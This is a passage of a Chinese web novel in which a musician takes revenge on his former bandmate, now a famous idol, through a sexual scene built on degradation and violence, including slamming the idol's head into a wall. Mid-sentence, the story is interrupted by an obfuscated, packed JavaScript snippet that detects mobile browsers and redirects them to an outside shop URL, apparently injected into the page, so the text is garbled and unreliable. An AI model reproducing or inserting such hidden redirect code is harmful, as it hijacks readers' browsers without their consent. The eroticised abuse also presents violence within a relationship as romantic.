“哥……好疼!”姜凝安哭了,脸颊泛起病态的潮红,口中求饶个不停…… 舒垣皱着眉说:“脏死了,你不会自己取吗?” 姜凝安泪水朦胧地看着他,歪了歪头,乖乖问:“我可以自己取出来吗?” 舒垣说:“废话真多。” 于是姜凝安……他一边取出,一边哼哼唧唧地哭,脸直往舒垣的裤脚蹭。 “哥,我好难受……”姜凝安哼唧道。 这幅模样的姜凝安实在太过……而姜凝安一直在小小声地啜泣,一切伪装出来的斯文、优雅荡然无存,他的嘴唇应该也是被人亲肿的,牙齿咬着下唇和舌尖,因为哭泣,鼻子一皱一皱的…… ………… “好难看……”姜凝安哭着说。 随后他身体猛然僵住了。 ………… “姜凝安,你知道吗,只有小狗才会尿在人的裤腿上。”舒垣说这话时,竟给人一种温柔的错觉,“你是小狗吗?” 姜凝安说:“我是哥的小狗。” 舒垣问:“哦?可我不想要你这只被很多人玩过的小狗,谁知道沾了多少男人的东西?” 姜凝安有些委屈:“可能……可能至少上百个吧……也许不止。” 舒垣淡淡说:“那就不要当小狗了,当没有人格的玩具吧,今天晚上我不说停,你就别想下床。” 姜凝安被他这话直接送上了云霄。 ………… “就该是这个样子。”舒垣对自己的大作十分满意,终于笑了笑,施舍一般,亲吻姜凝安汗湿的额头,问,“姜凝安,你是谁的玩具?” 姜凝安五感尽失……但舒垣亲他额头的时候,他却长睫微闪,流了几滴眼泪,湿润的红唇张张合合,发出濒死的小动物一般的叫声。 哥,能不能亲亲我的嘴唇? 好想被你亲吻…… 他仰起头,看见墙壁上挂着的大天使吉他。天使张开羽翼,许诺爱的光辉恩泽众生,他的大脑完全成了一团浆糊。 “我是……唔……哥的玩具。” 他小小声说。 他是舒垣的东西,没办法,这是他的罪。即便天使降临,即便玛利亚拥抱了他,即便耶稣、玉皇大帝、如来佛祖……什么都好,赦免了他的罪过,他也永远不会原谅自己。 只要舒垣在他的身边…… 就算只是当玩具也心甘情愿。 好了,现在他是一个玩具,即便舒垣的动作太暴力……即便舒垣真的恨他、不爱他、只是想睡一下他…… 他也好幸福哦。 在猛烈不绝的、无比暴力……姜凝安的脸浮现出甜蜜、幸福的笑容。肖想了十多年的男人终于抱了他,他的心充盈无比,又空空荡荡的,妄想舒垣俯下身,亲一亲他的嘴唇。 “哥……” 姜凝安痴痴地说。 “请再用力一点……我爱你……我爱你……” …… 姜凝安醒来的时候,眼前一片昏暗。 他应该是短暂地昏了过去…… 忽然,他被一个结实的臂膀抱了起来。 “哥……” 他轻轻唤道,声音哑得不行。 舒垣没有说话,而是抱着他,在一片漆黑中走入卫生间。 舒垣打开了马桶…… 姜凝安乖乖说:“我一会帮哥洗澡吧。” 舒垣说:“没必要,我自己有手有脚。” ………… 舒垣摸了摸他的头发,说:“乖呢,待会有奖励。” 姜凝安温顺地点了点头。 ………… 解决完事,舒垣凑近了姜凝安,嘴唇若有若无,与他破皮了的唇相碰。姜凝安屏住了呼吸,他睁开眼睛,看到光从舒垣的身后打下,男人高挺的鼻梁阴影似乎随时会绵延到他的唇上。 他在等一个吻。 舒垣轻笑了一声,嘴唇一偏,亲在了他唇边的那颗痣上。 姜凝安顿时有些失望。 他还是不爱他,连一个吻都不愿意给。 紧接着,他的头被拽着向墙壁砸去,咚地一声,砸得他耳鸣不止,鼻腔一凉,淌下了两行血。 “哥……” 他懵了,不知道哪里又惹了舒垣生气。 舒垣松开他的头发,扯过纸巾,帮他擦鼻血,一边擦一边问:“疼吗?姜凝安,我问你,疼吗?” 姜凝安茫然地点了点头。 “那天我比这个更疼……”舒垣冷冷地说,“我被压在箱子底下,右手整个被压住了,近乎骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538898|203366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉碎……我再也不能弹钢琴了,我再也无法和你一起组乐团……我说过,你是我的弟弟,我能永远保护你,即便代价是失去一只手。可你食言了,我不需要你当偶像赚钱养我,我就算失去了一只手,也能写歌,也能和你并肩……你转身去参加偶像海选是为什么?是你抛弃了我,是你亲手毁了我们之间的友情,却还要用这种模样贴上来,逼我这样对待你。” 姜凝安颤抖了起来:“对不起……” “你不是问我为什么回来吗?” 舒垣捏住他的下巴,神情冷得吓人。 “我是来复仇的。” “你毁了我的梦想,所以我要把我的梦想全部压在你的身上,我要让你成为这个时代的传奇。传奇是什么?是哪怕到了世界最贫穷的角落,也会有小孩哼唱你的歌,想要飞越万里见你一面……然后我会发布你的所有丑闻,让你从神坛狠狠摔下。” 在昏暗的清晨,舒垣的脸蒙上了一层狂热的色彩。 “姜凝安,你敢和我赌吗?” 姜凝安抬起头,啪嗒一声,他看见舒垣打开了卫生间的灯,灯光大亮,刺目无比—— 数不清有多少台镁光灯。 千千万万的人汇向国家体育场,他们举着灯牌、挥舞着荧光棒,尖叫着,前进着,奔向Novae十周年巡演的首场。镁光灯四射,舞台业已搭好,正中是一个巨大的LED球状银幕,所有人屏息静气,所有人翘首以待,所有人望眼欲穿。 “Novae十周年巡演光是帝都站的五场就预估动员近两百万人,真是无与伦比的疯狂啊。芮新不愧是吸纳日韩偶像工业经验后腾飞的公司,在二十一世纪二十年代、偶像工业大盘不断收缩的当下,老总郭伟的野心依然不减!即便十周年特别专辑口碑两极分化,依然是国内最耀眼的存在。观众们,你们是怎么看的?” 自媒体人举着话筒,在人海中拍摄视频,从明天起,互联网上会涌出一大批讨论此事的视频、头条文章,有人会大肆批判戏子误国,有人会担心资本的操控,当然更多的,是粉圈的狂欢和源源不断吃瓜的路人。 这位自媒体人很有些门路,靠着关系进入后台,举着话筒,希望能采访到Novae的成员,即使一位也好,一位也能带来滔天的流量。 不远处走过整装待发的五个人。 保镖、经纪人、助理、现场调度簇拥着他们,几乎围得密不透风。这人硬挤了进去,扯着嗓子大喊道:“我想……我想采访一下!” 走在最前面的人回过头,对他笑了笑。 标志性的浅棕色妹妹头,唇边有一颗鲜红的痣。那人冲他笑了笑,一如既往的斯文与优雅,对着他眨了眨眼。 是姜凝安。 这人一时竟不知该怎么开口了。 姜凝安走上前,也不顾队友魏嘉杰的拉扯,饶有兴味地问:“你想采访什么?” 自媒体人看着眼前的顶流偶像,着急忙慌蹦出一句:“姜……姜先生,您有什么想对粉丝们说的吗?” 姜凝安偏了偏头,左耳的银丝耳坠在灯光下折射出炫目的光。他忽然笑了一下,唇角微扬,用戴着皮质手套的手点了点屏幕,淡淡说: “我会成为传奇。”